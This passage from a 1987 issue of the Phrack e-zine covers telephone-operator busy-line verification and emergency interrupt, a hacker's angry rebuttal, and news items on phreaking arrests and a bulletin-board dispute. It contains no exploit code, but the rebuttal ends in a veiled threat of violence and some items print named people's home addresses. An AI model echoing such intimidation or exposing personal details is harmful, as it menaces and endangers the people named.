If a successful BLV/EMER INT is performed, the operator presses the REC MSG MSG (Record Message) key, which completes the verification. If the EMER INT lamp is lit, the charges for the interrupt and the verification are automatically billed. If the VFY key is pressed twice, it indicates the verification should not be billed. This could be due to a customer error or a customer disconnect.

Charging capabilities

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A customer can pay for a BLV/EMER INT in several ways. They can have the charges put on their phone bill, if they are calling from their home, they can bill the charges to an AT&T Calling Card, or pay directly from a coinphone. Details of the BLV/EMER INT function are recorded on AMA tape, which is later processed at the RAO (Revenue Accounting Office).

The classes of charge are as follows: STATION PAID, which means exactly what it says, STATION SPECIAL CALLING, in cases where billing is handled by a Calling Card or third number billing, and NO AMA, in unusual billing cases.

Also, for BLV/EMER INT calls that originate from a hotel, TSPS can send charges to HOBIS (Hotel Billing Information System), HOBIC (Hotel Billing Information Center), or a TTY at the hotel.

AMA records for BLV/EMER INT are recorded in basically the same format that normal calls are recorded. The only difference is that a numeric data group is added. The leftmost digit in the data group is a 1 if only a BLV was done, but it is a 2 if both a BLV and an EMER INT were done. In case of an aborted BLV, the billing record is marked 'No charge'.

Inward Operator differences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When an Inward operator does BLV/EMER INT, the class of charge is always NO AMA, because billing is handled at the local TSPS site. Inwards also do not use the REC MSG key when a TSPS would, they use the VFY key in it's place.

The Speech scrambling technique

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The speech scrambling technique that exists to keep the customers privacy intact is located in the TSPS console, and not in the verification trunks. The scrambling technique can only be deactivated by an operator pressing the EMER INT key, or a craftsperson using the console in a special mode. When the scrambler is deactivated by an operator doing an EMER INT, the customer hears an alerting tone (as mentioned in the first BLV file) made up of a 440Hz tone. This tone is initially played for two seconds, and then once every ten seconds afterwards until the operator presses her Position Release (POS RLS) key.

Operator trouble reporting

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When operators have trouble in handling a call, they can enter trouble reports that are technically called 'Operator keyed trouble reports'. These cause messages to be printed on the maintenance TTY and on the trouble report TTY channel. There are different trouble codes for different things, such as trouble with the speech scrambler, trouble in the verification network, or trouble in collecting charges from a customer.

In my area there are 20 such TSPS trouble codes. These are done in MF. They are entered with the KP TRBL (Key Pulse Trouble) key followed by a two digit trouble code followed by an ST. A trouble code for beeper trouble could be entered as KP TRBL+62+ST, and speech scrambler trouble could be KP TRBL+89+ST. Some of the other reasons for trouble codes are: Crosstalk, No ring, Noisy, can't hear, improper supervision toward the called and calling parties, cutoff, positions crossed, coin collecting trouble, third re‑order, distant operator no answer, echo, data transmission, no answer supervision, ST key lit for more than 4 seconds, and others for person‑to‑person and station‑to‑station completed collect calls.

Maintenance and traffic measurements

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

These reports can be output from a maintenance or engineering and service data TTY, daily or hourly. Each daily report contains data for the previous day. Some traffic counts are as follows:

Total Verification attempts, VFY key depressions, VFY key depressions when the requested number is out of TSPS range, VFY key depressions in which the requested number wasn't verifiable, BLV trunk seizures which pass an operational test, and EMER INT attempts. Other traffic counts include the measurements for usage of BLV trunks, the amount of time BLV trunks were unavailable, and the number of times BLV trunks were seized.

I hope this file has helped people further understand how the BLV system works. If you haven't read part I, get a copy of Phrack Inc. Issue XI and read file #10.

As said earlier, most of this information comes directly from Bell System Publications and so it should be viewed as correct. However, if you do find any errors then please try to let me know about them so they can be corrected.

Suggested reading

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TSPS Part I: The console‑Written by The Marauder, LOD/H Technical Journal Issue No. 1, file #4

Busy Line Verification‑Phrack Issue XI, file #10

Busy Verification Conference Circuit‑Written by 414 Wizard

Verification‑TAP issue 88, Written by Fred Steinbeck

Acknowledgements

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bell System Technical Journal, Vol. 59, No 8.

Bell Labs RECORD periodical

And the following people for contributing information in some form:

Scan Man's Rebuttal to Phrack World News

==Phrack Inc.==

Volume Two, Issue 12, Phile #9 of 11

Rebuttal to Phrack Issue 8 and 11 (File 11) Written by Scan Man.....

It has been requested of Taran King (Who doesn't agree with KL on this subj) to put this somewhere in the next issue of Phrack (12) for proper distribution. Whether he does or not I cannot say.

Well a number of months have gone by now and I have been written about accused of and had rebuttals written for me, all of which were about as clear and factual as mud. And that includes the rebuttal that Telecomputist has in effect tried to stand with me, and making matters only worse by inaccurate information. But then all of this started with inaccurate information from PWN, didn't it. KL has resorted to interfering in other peoples lives in order to promote his so called news publication. To this I say, if you are going to call it news then make it facts. I can buy the Enquirer if I want sensationalistic readership boosting and inflated gossip. You do no justice to yourself or your publication. I really shouldn't dignify any of this with comment but shall as the entire matter has been blown so far out of proportion and since I have been phreaking since these kiddies were still messing their diapers I feel it a little more than an inconvenience, particularly since these gentlemen (and I use the term loosely) can't seem to accomplish anything but guesswork and conjecture and have cost me (and my wife and son) a $50,000 job so the least I can do is get a few FACTS out.

First, I was (and I stress was) employed by a company called Telecom Management Corporation. Notice the initials of this company (TMC). Telecom Mgnt is a management company, and a management company manages other companies. Among the companies it manages are 6 TMC Long Distance markets (none of which are in Vegas), two of which are in Charleston where I live and NY where I worked (up until two snotty nose teenagers (KL & SR) decided to stick there nose where didn't belong). At any rate I was hired and paid by Miami, lived in Charleston, and worked in NY. And yes with regard to your "he must have been quite an asset to them," I was an asset to them. And KL you seem to think it was surprising that they flew me to NY every week. I don't, and I'm sure the other 100 businessmen on my flights who I traveled with regularly would be surprised that they carried the unique distinction of being somehow in the wrong for having their companies send them to NY every week. I'll have to tell them this one for a good laff next time I get a 50,000 dollar a yr job that sends me to NY. Moving right along, I will add that I was employed as a Systems Analyst. When I was originally hired, my interview was by a fellow from Miami (Telecom Mgnt) and the interview was conducted in the Chas office (one of the few times I was ever in there). This however doesn't explain why Pauline Frazier and Ben Graves knew me or didn't care for me. The reason for this was quite simple: they both knew about me and the bulletin board and had also been trying to catch me stealing calls from there company (don't know where they ever got that idea <grin>). At any rate they obviously were quite unhappy because I got that job.

The next comment in rebut to Telecomputist which was a rebut to PWN Phrack Issue 8 (what a nightmare), was, and I quote, "I claimed not to have any ties with Vegas but didn't claim not to have ties with TMC." Boy talk about factual journalism, really grabbing for straws aren't you. Anything to make me look bad huh? Wonder why. Wouldn't be for more copies for your next issue would it? As you could see at the beginning of this rebuttal I clearly stated that Telecom Management ran 6 TMC markets as well as other companies and that they were connected but separate from each other. Although none of it is relevant to any of this, but that doesn't matter when you are out to get copies for your next issue does it KL. At any rate this also shows where Telecomputist, although trying to do a good thing, got their facts mixed up too by misunderstanding the fact that Telecom Managements initials were the same as TMC and were unrelated companies when actually they are.

In you next comments you say, "The rest of my statements are highly debatable" (might try looking at a few (no make that all) of your own). You also said that my statements have no proof (as if yours are so damn factual). First, I don't have to prove a thing to assholes like you or anyone else for that matter. You also state your decision (as if you have the right to make any decisions about me, (shit boy you don't even know me, but you may soon) was to do nothing because of lack of proof. And you call what you came up with truth? Based on what, your vast personal knowledge of me, your knowledge of something some phone phreak told you, because of having worked with me? As for providing more ammunition to the idea, I'm not what I claim to be. I have claimed to be nothing, it's you doing all the claiming. And there is no "ammunition" to be had from the Telecomputist article as it was about as accurate as yours have been. Shows you what two people who know nothing about nothing can do if they put their minds to it. I might add that this is the first and last statement I have personally written that has anything to do with any of this. You also stated that, "after three months you had proof," yet you have shown only words, not a speck of proof or truth. You have taken the Telecomputist article apart and tried every way there was to tear it apart, most of which was guesswork and innuendo. Examples of this are your quotes of, "Gee isn't that awful expensive," "Notice how he didn't say he had no ties with TMC," "Statements were highly debatable," "Now that he has had a few months to come up with a story," etc., that's some real facts there KL, you're a real journalist who deals only with facts. You're not out for gossip or character assassination. Riiiiiight. I've just been waiting for you to put your foot in your mouth (in this case both feet). (Don't worry, I'm sure they will fit nicely)

I think it's also time to tell the story of how all this got started. It's really a comedy of errors (only I'm not laffing). As I stated earlier I was paid by Miami, as that's where the home office was. This meant that on occasion I also went to Miami as well as NY. In Dec of 85 I learned of a new organization being formed called the CFCA (Communications Fraud Control Association) although in addition to communications, they support computer and credit security as well. Knowing that all the top security people were going to be there and being a good phone phreak on the eternal quest for inside knowledge, I wanted in on this conference which was held the 6th, 7th and 8th of Feb 86 in Miami. Soooooo I convinced Telecom that we should check these People out for some benefit to our company with regard to my job (Systems Analyst) as after all it was my job to not only develop and operate the companies' computers but keep them secure as well. So I had had the perfect excuse to get me in the conference. They agreed with me and went for it and paid for my flight down there and the conference fee. Moving right along, it was the 1st day into the conference when just at lunch I was talking to a guy from Pac NW Bell named Larry Algard (whose name I had forgotten til Sally Ride showed up on the BBS saying Larry the Algardian had sent me a couple of weeks later). At any rate while talking to this guy, a security agent from one of the other LD companies that was there came up and said, "Aren't you Scan Man, the guy that runs P‑80?" Needless to say I about shit, and had to come up with a damn good answer in about a 100th of a second. Knowing I was there legally with the authority of my company, I answered back (in front of Larry Algard), "Yes, but unbeknownst to my members it's an undercover board for TMC the company I work for." And since Telecom Management Corporations initials were TMC and they did manage 6 TMC LD companies I knew I was safe if he decided to check me out, which I was worried about because earlier this same guy (the one that said, "Aren't you Scan Man") had made a comment about the security of the meeting and that he believed hackers had infiltrated the meeting. At any rate, I was out of the fire with this guy and everyone (about 7 others) standing around in our circle. It does however get worse. Two weeks later I got a new user on the board named Sally Ride saying, "Larry The Algardian sent me" and the msg subj was titled Scott Higginbotham. I answered the msg asking him where he got that name (Scott Higginbotham, my real name) but he thought I meant where did he get the name Larry the Algardian (see msg reprint below). His reply is as follows (actual copy of msg)

Scan Man, I got the name from an electronic memo from Sec. Mgr. Larry Algard to his boss, George Reay. Since I've access to these files via PNB's UNIX AOS, I read about Algard's meeting with Scott at a CFCA Conf. in Miami. It's nice to be able to know what the other side is up to, but how did you infiltrate CFCA? I was able to infiltrate PNB Sec. thru their own system. But, to attend such a meeting of the toll carriers of the nation and learn their plans to combat us is a real coup! Understand where I'm coming from? Sally Ride:::Space Cadet

Now from this msg you can see two things: first that Sally Ride is a two faced little S.O.B., plus you can also see why he would think I was fed. I can almost (again I stress almost) understand why he was suspicious. This msg also points out that at least in his msgs to me he was of the opinion that I had infiltrated the conference (not that his opinion about anything matters). Then, on a social ladder climbing binge, he turns it around to me being one of them (as if he was the only person in the world who could infiltrate something). To this I say again, I was doing this when you were still in diapers (SR). Even though I can legitimately understand why he would think I was a fed as this at least "APPEARS" to be proof that I'm a fed, by that I mean if I had broken into a telco security computer and found a msg saying that so and so was running a sting board, I would be prone to believe it myself. What Sally didn't know was that I had to say that at that conference to keep from being fried myself when confronted by a security agent who recognized me. But then what are the odds of someone breaking into the very computer reading that very msg. If it were me and I was going to take this information to the phreak community I would have to state the facts, which were that he found this msg, "then print msg". I would not go into the guessing that he and KL did in the original Phrack article (or this last one, since the first obviously wasn't enough). But back to the point of all of this, "WHAT WOULD YOU SAY STANDING IN THE MIDDLE OF 500 TOP TELCO SECURITY PEOPLE AND ONE WALKS UP AND SAYS, "AREN'T YOU SO AND SO THAT RUNS SO AND SO BBS?" See what I meant about a comedy of errors? Do you also see why sometimes what is apparently the truth isn't always what it appears as. Do you also see what I mean about gossip and poor journalism? This is not the first time that Sally or KL has tried to distort facts and interfere with people's lives. I am referring to the past David Lightman incident. Instead of belaboring this point, I shall, in the fashion of the great journalists (KL & SR), reprint another msg from Sally regarding this other incident in order to show what kind of individual we are dealing with (a 19 yr old who if he spent as much time hacking and phreaking as he does stretching the facts and butting into peoples lives might be a good phreak/hack).

From: Sally Ride

Well a couple of things..first about Phrack World News..the above mentioned article about Blade Runner and David Lightman was credited to David Lightman and Blade Runner and someone else, maybe K.L. I really don't know either David or Blade that well, but when someone is accused of being a cop, or a phone cop, or whatever, I see no reason to keep that a secret from the phreak‑world. Everyone is able to make their own conclusions based on the information provided and considering the sources. Finally, and I hope this ends all discussion about this on the "Elite" section of this BBS. Is that what is allowed for discussion here? Really, character assassination should be kept to the War Room of some other K‑Rad luzer BBS. Secondly, thanks to all who kept me up to date on the status of the BBSes that had suddenly dropped out of sight all for separate unrelated reasons. I found The Twilight Zone, now the Septic Tank, it's back at 203‑572‑0015, old accounts intact. Taran King's Metal Shop Private should be back up within hours of this message, see PWN 6 for the details. And Stronghold East is still down as far as I know, should be back around 7/1. Broadway's always been weird but turning informant? Will wonders never cease? And, TUC has a board again? And, here I thought he was a "Security Consultant", per W.57th St. Who knows who's side who is on? Scan Man, here's news from your neck of the woods. A company named Advanced Information Management Inc. run by Robert Campbell. The June 23rd issue of Communications Week says this guy and his 17 consultants are all over the BBS world. They are based in Woodbridge, VA. Know anything about them? Sound like some more narcs to worry about. What is the true story on Ralph Meola? PWN 6 says he's the head of AT&T Security. Has anyone ever heard of him before? Sally Ride:::Space Cadet

I believe your words were, "character assassinations should be kept on some k‑rad Luzer war board" (try taking some of your own advice, or is it different when it's your friend). You also made the statement that everyone should be able to make their own decisions based on the sources. In my case it's two guys that don't know me or really anything about me (KL & SR). Did anyone also notice Sally's tendency toward a persecution complex? Everyone he mentioned in the msg is thought to be a phone cop. I mean, really, take a good look at that msg. It's quite obvious this boy is playing God and deciding who is and isn't on who's side (you're not the only one who saves msgs). He's either attacked or defended (mostly attacked or insinuated) about 5 people in one msg of being the bad ole phone cop. Who set you two up as judge and jury? As to how I feel about it, I'll use an old saying with a new twist, "If you want to hear the jukebox, you damn well better have a quarter," better known as "pay the piper". Does it sound like I'm upset? I mean how would you feel if you had trouble keeping your family fed, heated, and housed because some asshole that just hit puberty stuck their nose into your life. Tell your son, no he can't go skating because you don't have the money because........etc.....Also I might add that a number of us old guards who were phreaking before there were computers and BBSes such as my old friend, Joe Engressia (Secrets of Little Blue Box, Esquire 71) (avail P‑80) and others have done actual security work (not busting heads) defeating security systems on new payphones (test before marketing) etc for yrs. I don't see anyone jumping up and yelling phone cop on these guys. People who are admitted security people who also claim to be phreaks are ignored. So why all the stink with me? In closing I would like to say that I have little doubt that in their usual fashion KL and/or SR will attempt to go over every word I have typed looking for more SO CALLED FACTS. Any way you try to reword it will only be more twisting and supposition. Sooo be my guest. You will get no more comments from me. The next time either of you two hear from me, you better have your Quarter for the jukebox cause it will be time to pay the piper.

P.S. KL do me a favor and call my board and let me know whether you will be at this phreak conf in St Louis. If so I recommend old cloths, and clean underwear.

(Oh yes and a quarter.)

Phrack World News XII Part I

==Phrack Inc.==

Volume Two, Issue 12, Phile #10 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN >>>>>=‑*{ Phrack World News }*‑=<<<<< PWN PWN Issue XII/1 PWN

PWN PWN

PWN Created, Compiled, and Written PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Local News March 20, 1987

~~~~~~~~~~

This issue of PWN marks the anniversary of Metal Shop Brewery.

Things are looking up. Metal Shop Private is back and all previous members are asked to call back. The same passwords and logons still work and even better, the old posts have been saved despite the hard drive crash a few months ago.

Phrack XIII will be released on April 1, 1987; April Fool's Day!

It features joke files, fiction files, humorous files, and of course, rag files. With all the seriousness of the regular issues of Phrack, this is a chance to release some building flashes of comedy. Please note that files for Phrack XIII can only be submitted by members of Metal Shop Private. This does not apply to other issues of Phrack. Don't miss it!

SummerCon 1987

~~~~~~~~

For those that don't already know, TeleComputist Newsletter and Phrack Inc. are sponsoring this year's big phreak gathering in St. Louis, Missouri. As many of you may note, St. Louis is the home of Metal Shop Private, Phrack Inc., and TeleComputist Newsletter. We all hope that since St. Louis is in the middle of the country that it will be easy for people to attend. We extend an invitation to anyone who wants to come. We will have a conference room and two suites in a hotel in St. Louis.

The official date for SummerCon 1987 is June 19,20. This is far enough into the summer that everyone of the younger generation should be out of school and early enough that no one has to worry about facing reality right away. This date has also been chosen specifically as to not interfere with the St. Louis VP Fair (Vale Profit).

If you are going to attend SummerCon, we ask that you contact Knight Lightning, Taran King, or Forest Ranger for more details. The TeleComputist Information Line is (314) 921‑7938. The names of those attending will be kept confidential so as to not cause anyone discomfort, however we do ask that you identify yourself at the conference by means of a name tag or some form of identification. Security personal is welcome to attend, but we request that you let us know ahead of time. If anyone, especially security personnel, would like to speak at SummerCon please also let us know and we will schedule you in.

:Knight Lightning

________________________________________

Hackers Caught Using Credit Card To Buy More Equipment February 20, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Ben L. Kaufman of The Cincinnati Enquirer

"I was uneasy about the pickup."

Two young "hackers" in Milford using an electronic bulletin board to get stolen credit card numbers and buy hardware to expand their computers. Now they're in big trouble because unauthorized use of a credit card is a federal offense and the Secret Service caught them. "Computer‑aided credit card fraud is increasingly common, said special agent in charge, James T. Christian on Tuesday, "but using the filched name and number to enhance computer clout was a unique touch."

The two youths had a $1,300 order sent to an abandoned house on Ohio 131E, Christian said, but when they picked it up an agent was waiting with the UPS deliveryman.

John Martin Howard, 21, 5788 Meadowview Drive, Milford was cited before U.S. magistrate J. Vincent Aug Jr., who accepted his plead to guilty Monday and released him on his promise to return when summoned.

"I was uneasy about the pickup," Howard recalled in a telephone interview. The risk of getting caught "was in the back of my mind." And it was an awful moment when the Secret Service agent confronted him and his juvenile buddy, Howard added. "I think they were surprised," Christian said. Howard was charged with attempted use of an unauthorized credit card. His juvenile partner ‑‑ who refused to comment Tuesday ‑‑ was turned over to his parents.

Christian said the youths ordered equipment from Computer‑Ability in suburban Milwaukee paying with the stolen credit card. A sharp‑eyed store employee noted purchases on that credit card were coming in from all over the country and called the Secret Service. Within two weeks the trap in Milford was set.

Howard said his young friend knew the Cincinnatian who led them to the bulletin board filled with the names and the numbers of stolen credit cards. "We got it from somebody who got it from somebody who got it from somebody on the east coast," Howard recalled. That new acquaintance also boasted of using stolen card numbers from electronic bulletin boards to buy expensive accessories and reselling them locally at bargain process.

He and his friend used the stolen credit card to upgrade his Atari 800 system, Howard said. "We ordered a bunch of hardware to use with it." In addition to the purchase that drew the secret service to them, Howard said they "ordered other stuff, but before we received anything, we were picked up." Howard said he'd had the Atari about two years and was getting bored with it and home computers in general.

He had taken computer programming for eight months after high school, he said, but hadn't used it. He would like to try computer‑aided design and engineering, but right now, he's working in a pizza parlor. Christian said Howard's parents had been enthusiastic about his computer interests and friends who shared them. "They though it would keep them out of trouble."

Assistant U.S. attorney Kathleen Brinkman and Christian said the Cincinnati area investigation was continuing and numerous juveniles, some quite young, may be involved.

Thanks to Grey Elf

Re‑typed for PWN into lowercase by Knight Lightning

________________________________________

Hang On... Phone Rates Are Falling Again! March 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Changing Times Magazine March 1987 Issue

No news that long‑distance rates are still headed down, but now local rates are poised to follow, at least in some areas.

Competing long‑distance carriers have already been forced to react to AT&T's January rate cut, which averaged 11.2%, with cuts of their own. Now the Federal Communications Commission [FCC] may propose that an additional $1 or $2 be added to the subscribers line charge, the $2‑a‑month access charge that every residential customer pays. If that happens it would compensate.

Since AT&T's divestiture in January 1984, the telephone services component of the consumer price index has risen 17.4%, reflecting a 36.7% increase in local rates at the same time long‑distance charges were falling. But price increases for overall service have moderated each year, falling 2.7% in 1986 from 4.7% in 1985 and 9.2% in 1984. That trend should continue as local rates stabilize and even fall. Wisconsin and Vermont, for example, have ordered local companies to make refunds, and a number of states ‑ New York, Pennsylvania, Washington ‑ are considering lowering rates to reflect the improved financial position of local phone companies. Those companies will benefit from tax reform, and lower inflation and interest rates have resulted in lower expenses in several other areas.

Things are not looking good for some of AT&T's competitors in the long distance business, however. Forced to follow AT&T's rate cuts, both MCI and US Sprint are hard‑pressed financially, and analysts don't rule out the possibility that one or both could get out of the long‑distance business, potentially leaving AT&T a monopoly again. But that would be "politically unacceptable," says analyst Charles Nichols of E.F. Hutton. Some alternatives: allowing regional phone companies to enter the long‑distance business or allowing AT&T to keep more of the profits it earns from increased efficiency instead of forcing the company to cut rates. That would take some pressure off competitors.

Special Thanks to Stingray

________________________________________

Police Arrest Computer "Hacker" Suspect March 15, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From the St. Louis Post‑Dispatch

"MCI told police it was losing $2.7 million a month to such 'hackers.'"

A computer software engineer [Robert Wong] has been arrested at his home in Maryland Heights, Missouri on suspicion of trying to get into the computer system of MCI Telecommunications Corporation.

The case is the fourth in this area involving computer "hackers" who have tried in recent months to get into MCI's computer system, police say.

Detective John Wachter of the Maryland Heights Police Department said the department would seek a warrant today charging the suspect with "tampering with computer users," a felony.

The charge is being sought under a state law enacted last year to deal with hackers ‑ people who try illegally to tap into other computer systems.

The suspect is Robert Wong, 23, of the 2000 block of Maverick Drive, Maryland Heights, Missouri. Police tracked down Wong by a court‑sanctioned "trap" on his phone after MCI learned that someone was trying to tap into its long‑distance lines.

In a written statement to police, Wong said he "came across" MCI's programs and access codes. He said he was "amazed" when he got into the system. "I know it was illegal, but the urge of experimenting was too great," he told police.

Typed For PWN by Taran King

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

In upcoming months P‑80 will be moved from her ole TRS Model 1 to an IBM PC compatible. In addition to a boost in storage capacity (amount still undecided), P‑80 will be adding a new "user to user" direct file/program transfer thus allowing the membership the ability to privately send text or programs directly to another user. There will also be the ability to forward a message with text/program attached) to another user after receipt. (2/26/87)

Information from

<S><C><A><N> <M><A><N> & P‑80 Information Systems

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you consider yourself a phreaker or a hacker in any way, shape or form, then read on! The Telecom Security Group is sponsoring the first on‑line hack/phreak survey. It consists of about 30 minutes work of answering questions (or until you want to stop) that pertain to phreaking, hacking, the security, and the attitudes surrounding it all.

You are allowed to identify yourself during the survey if you wish or you may remain totally anonymous. It's really just the general answers that will count. Call now: 914‑564‑6648 (914‑LOG‑ON‑IT) and type SURVEY at the main prompt to get the survey. Thanks for your involvement, and do spread the word to any board that considers itself phreak/hack oriented.

Information by Taran King & Tuc (2/6/87)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Telecommunications giant AT&T is lying in its advertisements that claim it has an exclusive toll‑free number for foreign clients to reach U.S. businesses, its competitor says in a lawsuit.

Worldwide 800 Services Inc. says that it has filed suit against AT&T with the FCC, charging AT&T with false advertising. The ads by AT&T claim that it can provide a global telephone network that would allow clients in foreign countries to call a toll‑free number to reach businesses in the United States. AT&T claimed that "You won't find this type of service anywhere else."

Worldwide 800 says that their company provides toll‑free service from any foreign city to the U.S., whereas AT&T can only provide toll‑free service on a countrywide basis. An AT&T spokeswoman denied all of the charges, stating that the advertisement in question was neither fraudulent or deceptive. If Worldwide 800 Services wins the case, they state that they will demand corrective advertising and seek monetary damages.

Information from Lucifer 666 (3/1/87)

Phrack World News XII Part II

==Phrack Inc.==

Volume Two, Issue 12, Phile #11 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN >>>>>=‑*{ Phrack World News }*‑=<<<<< PWN PWN Issue XII/2 PWN

PWN PWN

PWN Created, Compiled, and Written PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Toll‑Free Woes January 26, 1987

~~~~~~~~~~~~~~

>From Time Magazine; reprinted in the February 1987 Issue of CO Magazine

While Oral Roberts struggles with budgets, fundamentalist preacher Jerry Falwell faces a different kind of money pinch. The Lynchburg, VA, televangelist has long used toll‑free phone numbers to assist viewers seeking spiritual help.

For many months Falwell foes, aware that each phone‑in cost $1, have purposely clogged his lines. An Atlantan programmed his computer to dial Falwell every 30 seconds. Before Southern Bell stepped in, the stunt cost Falwell $750,000.

Late last year, the Daily Cardinal student newspaper at the University of Wisconsin ‑‑ Madison ran a column advocating "telephone terrorism" and listed several targets, including Falwell.

The TV preacher estimates that annoyance calls cost him more than $1 million last year, not counting lost donations. Falwell, who is considering legal action, regards the calls as "unlawful activities" that do "injury to the cause of Christ."

[Well now...isn't that special? And just where did all these people get the idea to do "injury to the cause of Christ?" From me, Knight Lightning? No, I don't think so. From oh maybe Phantom Phreaker? No, I don't think so. Possibly Lucifer 666, but the big question is... Could it be... SATAN!!!?]

Typed For PWN by Knight Lightning

________________________________________

Voice numbers: Are They Really Necessary? March 5, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A recent series of events on ShadowSpawn BBS has attracted much attention in the hack/phreak community. It seems that the sysop, The Psychic Warlord, denied access to Lex Luthor, Kerrang Khan, and Silver Spy because of their failure to leave valid voice phone numbers. The following messages have been taken from ShadowSpawn BBS. [Some posts have been re‑formatted].

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

32/50: This board...

Name: The Psychic Warlord #1

Date: 6:36 pm Thu Feb 26, 1987

Alright goddamn it, I'm so fucking pissed off that I'm just about ready to say Fuck It and take down the board for good. Why? Seems that few people are happy with the way I run this board. No, not really with the way I run it, but more like the way I choose to validate my users. Ok, fine... You don't like it then get the fuck out and quit complaining.

I set certain rules that people have to abide by to get access to this board. Very simple fucking rules. And now I'm finding out that people don't want to abide by these rules, and basically tell me I'm fucked in the head for having and going by them. What rules? For one thing, and this is the major bitch‑point here, new users (no matter WHO THE FUCK they are) are *REQUIRED* to leave a valid voice number where I or Ctrl can reach them at for validation. No big fucking deal... Just a goddamn phone number.

"Oh, but I can't give you my voice number. I'm a hacker, and I do untold amounts of illegal things and I can't risk my number getting out." Riiight. Like I'm really some fucking Fed who's gonna bust yer ass, or some geek who gives out peoples phone numbers to any‑fucking‑body who asks. BULLSHIT!

I'm the Sysop of a (hopefully) respected BBS, and along with that goes a certain responsibility. I'm not about to go passing out peoples numbers. *I* have respect for other hackers privacy, unlike some people who choose to invade mine just for the fucking hell of it. I require that new users leave their voice numbers for a number of GOOD reasons:

1) Trust ‑‑ If they can trust me with their voice numbers, then I can trust them with access to my board. I need that kind of trust between me and my users. If they feel that they can't trust me enough to give me a lousy phone number, then how in God's name am I supposed to be expected to trust them at all?? My ass is on the line just as much (if not more) than any user of this board!

2) Security ‑‑ Ok... So how do I know if someone is really a Fed or not? I don't! I go by instinct. Having a person's voice number let's me call them for validation and get to know them a helluva lot better than I could through e‑mail. Plus, if suspicion ever arose about a user of my board being a Fed or not, how could I check this out? If I don't have their voice number, I have no leads as to where to find or who the fuck this person really is. Now I don't go checking everyone on the board via the numbers they give me. I have NEVER had to do that for ANY user, but the possibility is there. And rather than throw a possibly innocent person off the board merely on a hunch, we might be able to prove whether or not it's true. This is extremely hypothetical, but like I said... the possibility is there.

Ok, so why the hell should I have to require that established people, like Lex Luthor and Silver Spy, leave valid voice numbers? Is it fair to the other users? Hell no. If I required only certain people to give me their numbers, then what does that do to their trust in me?? It's like me saying, "Well, I don't trust you... I don't know you that well. You have to sacrifice more than these guys to get access." That's BULLSHIT, and I'm not about to do it. If one person is required to give a valid voice number, then every damn user is required to!

I've been getting a lot of shit the past couple days because I've denied access to some very well known and respected people in the hack/phreak world. Namely Lex Luthor, Silver Spy, and Kerrang Khan. I denied all of them access because they all refused to leave a voice number. Fine. Then they don't get access. Ctrl [Ctrl‑C is a cosysop on ShadowSpawn] said I was crazy. Taran said pretty much the same. Taran also tried to get me to change my mind... to condescend, or go against what I believe in and how I believe this board should be run. He (Taran) said that by my denying Lex and the others access that I would be hurting this board more than helping it. ***I DON'T GIVE A DAMN***

I'm not impressed in the least with any of those peoples reputations. I never have been a "groupie" and I'm not about to start now. Whether or not they are good or not isn't the issue here, and some people don't seem to realize that. Yes, Lex is good. He's well known. He's even a nice guy... I've talked to him before and personally I like him. But I don't play favorites for anyone. Not Lex, not Silver Spy, and not Kerrang Khan. Nobody.

What really pissed me off, and I should have told Taran that I resented it at the time, is that TK said that apparently this board is "elite". That I consider this board to be too good. Personally I think this fucking board is overrated, and yes Taran... I resented that remark. I can't remember exactly what he said, but it was something like, "In your logon message you have 'We're not ELITE, we're just cool as hell,' but apparently you ARE elite."

This board isn't "elite" and if I come off seeing that way sometimes, it's only because people are getting half the picture of what I'm doing.

Ok, so I deny Lex Luthor access to this board. That's all you people seem to think about. The actual denying of access. You think, "How can he do that?! What gall! He must be a real egotistic bastard to think that Lex Luthor isn't good enough to be on this board!" If you think that, and most of you have thought only that, then you're fucked in the head.

Yes, I realize who these people are! Yes I know their reputations and how they are renowned for their skills as hackers and phreakers... But like I said before, that's not the issue. It never was. I *KNOW* how good these people are. I *KNOW* about their reputations and I respect them for it, but I don't care. That's not why they've been denied access!

When I deny someone access to this board it's usually for one of two reasons;

1) They left a false voice number or

2) They either blew off or left really crappy answers to the filter.

Personally I'd be thrilled to have Lex or Silver Spy on the board... and any of a number of people. But these people can't find it in themselves to trust me. If they can't trust me, then I can't trust them. It's as simple as that.

